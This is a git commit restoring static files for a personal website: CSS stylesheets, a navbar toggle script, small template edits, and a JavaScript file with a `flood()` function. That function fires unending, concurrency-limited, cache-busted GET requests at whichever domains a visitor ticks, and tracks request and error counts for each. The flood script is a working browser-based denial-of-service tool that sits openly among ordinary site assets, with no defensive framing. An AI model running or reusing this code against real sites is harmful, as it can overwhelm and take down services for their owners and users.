Recover old static files.

There's nothing wrong about them.
Let's just recover and tweak them instead
of a rewrite.
This commit is contained in:
Marcel Plch 2023-06-21 07:55:19 +02:00
parent 833d3142d8
commit 07ea4f1ca2
6 changed files with 302 additions and 1 deletions

View file

@ -0,0 +1,155 @@
body {
color: #377ba8;
background: #252525;
font-size: 62.5%;
color: white;
}
h1, h2 {
margin: 0;
text-shadow: -2px -2px 0 #000, 2px -2px 0 #000,
-2px 2px 0 #000, 2px 2px 0 #000;
}
h1 {
color: white;
font-size: 4rem;
border-bottom: 2px solid #eee;
padding-bottom: 0.7%;
margin-bottom: 2.5%;
margin-top: 1%;
}
h2 {
margin-top: 6%;
font-size: 3rem;
line-height: 2.9rem;
}
a {
color: #377ba8;
}
p {
padding-right: 33%;
font-size: 0.95rem;
}
h3 {
font-size: 1.7rem;
margin-bottom: 2%;
}
ul {
font-size: 1.05rem;
}
h4 {
font-size: 1.05rem;
}
.ftr {
width: 90%;
margin-left: 5%;
display: flex;
justify-content: space-evenly;
align-items: center;
flex-flow: row wrap;
}
.ftrh {
font-size: 1.7rem;
margin-bottom: 0;
}
.key {
display: flex;
justify-content: center;
text-align: center;
}
.page {
margin: 2% auto;
width: 66.666%;
border: 5px solid #ccc;
padding: 0.8%;
padding: 0.8%;
background: #333;
}
.navbar {
margin-left: -20.5%;
margin-top: 15%;
width: 21%;
border: 5px solid #ccc;
background: #333;
float: left;
position: fixed;
transition: margin-left 0.2s;
}
.navbar-active {
margin-left: 0%;
margin-top: 15%;
width: 21%;
border: 5px solid #ccc;
background: #333;
float: left;
position: fixed;
transition: margin-left 0.2s;
}
.navbar-block {
font-size: 1.13rem;
width: 95%;
padding-top: 5%;
padding-bottom: 5%;
margin-left: 2.5%;
margin-top: 3%;
margin-bottom: 3%;
float: left;
color: white;
background: #454545;
}
.navbar-button {
margin-left: 20%;
margin-top: 5.5%;
border: 5px solid #ccc;
border-radius: 40px;
background: #333;
float: left;
position: fixed;
transition: margin-left 0.2s;
font-size: 1.8rem;
padding: 1%;
padding-top: 0.6%;
padding-bottom: 0.6%;
cursor: pointer;
}
@media only screen and (max-width: 604px) {
h1 {
font-size: 2rem;
}
h2 {
font-size: 1.8rem;
}
.navbar {
width: 80%;
margin-left: -80%;
}
.navbar-active {
width: 80%;
margin-left: 30%:
}
.navbar-button {
margin-left: 78%;
margin-top: 22%;
}
p {
padding-right: 8%;
}
}

View file

@ -0,0 +1,20 @@
.domain-wrapper {
display: flex;
flex-flow: row wrap;
justify-content: space-between;
width: 95%;
font-size: 11pt;
}
.domain-segment-checkbox {
width: 5%;
}
.domain-segment-domain {
width: 45%;
}
.domain-segment-req {
width: 25%;
}
.domain-segment-err {
width: 25%;
}

View file

@ -0,0 +1,89 @@
var CONCURRENCY_LIMIT = 50;
var queue = [];
var stop = false
function req_update() {
slider = document.querySelector("#requests");
infobox = document.querySelector("#amount");
CONCURRENCY_LIMIT = slider.value;
infobox.innerHTML = slider.value;
}
async function fetchWithTimeout(resource, options) {
const controller = new AbortController();
const id = setTimeout(() => controller.abort(), options.timeout);
return fetch(resource, {
method: 'GET',
mode: 'no-cors',
signal: controller.signal
}).then((response) => {
clearTimeout(id);
return response;
}).catch((error) => {
clearTimeout(id);
throw error;
});
}
async function flood() {
// Collect selected domains
let targets = [];
let stat = document.querySelector("#status")
let domains = document.querySelectorAll(".domain-wrapper");
domains.forEach((domain) => {
if (domain.children[0].children[0].checked) {
domain.errors = 0;
domain.requests = 0;
targets.push(domain);
}
});
stat.innerHTML = "Status: on"
for (var i = 0; ; ++i) {
randarg = i % 3 === 0 ? '' : ('?' + Math.random() * 1000);
rand = Math.floor(Math.random() * targets.length) % targets.length;
target = targets[rand];
queue.push(
fetchWithTimeout(target.children[1].innerHTML.trim() + randarg, {"timeout": 1000}
).catch((error) => {
if (error.code === 20 /* ABORT */) {
return;
}
target.errors++;
}
).then((response) => {
if (response && !response.ok) {
target.errors++;
}
target.requests++;
}
)
);
if (queue.length >= CONCURRENCY_LIMIT) {
await queue.shift();
}
if (stop) {
queue = [];
stat.innerHTML = "Status: off"
stop = false
return
}
}
}
function printStats() {
domains = document.querySelectorAll(".domain-wrapper");
domains.forEach((domain) => {
domain.children[2].innerHTML = `requests: ${domain.requests}`;
domain.children[3].innerHTML = `errors: ${domain.errors}`;
});
}
setInterval(printStats, 1000);

View file

@ -0,0 +1,31 @@
function init() {
let nav;
nav = document.getElementById("nav");
nav.state = new Object();
nav.state.open = false;
}
function navbar_click() {
let nav;
let navButton;
nav = document.getElementById("nav");
check = nav.hasOwnProperty("state")
if (!check) {
return;
}
if (!nav.state.open) {
nav.classList.add("navbar-active");
nav.classList.remove("navbar");
// TODO: This breaks with every new page added
nav.children[4].innerHTML = "<"
nav.state.open = true;
}
else {
nav.classList.remove("navbar-active");
nav.classList.add("navbar");
nav.children[4].innerHTML = ">"
nav.state.open = false;
}
}

View file

@ -6,6 +6,12 @@
<h1> Homepage </h1> <h1> Homepage </h1>
<h2> UNDER MAINTENANCE </h2> <h2> UNDER MAINTENANCE </h2>
<h2> Welcome to my website </h2>
<h3> Marcel Plch </h3> <img src="{% static "base_app/img/me.jpg" %}" width="125" />
<p>
Let's turn this into something useful,
shall we.
</p>
</div> </div>
{% endblock %} {% endblock %}

View file

@ -31,7 +31,7 @@
<p><b>E-mail: </b>dormouse&nbsp;at&nbsp;plch(It's this very domain.)xyz</p> <p><b>E-mail: </b>dormouse&nbsp;at&nbsp;plch(It's this very domain.)xyz</p>
</div> </div>
<div class="ftr-block"> <div class="ftr-block">
<p><b>Jabber/XMPP: </b>@dormouse@plch.xyz</p> <p><b>Jabber/XMPP: </b>dormouse@plch.xyz</p>
</div> </div>
</div> </div>
<div class="key"> <div class="key">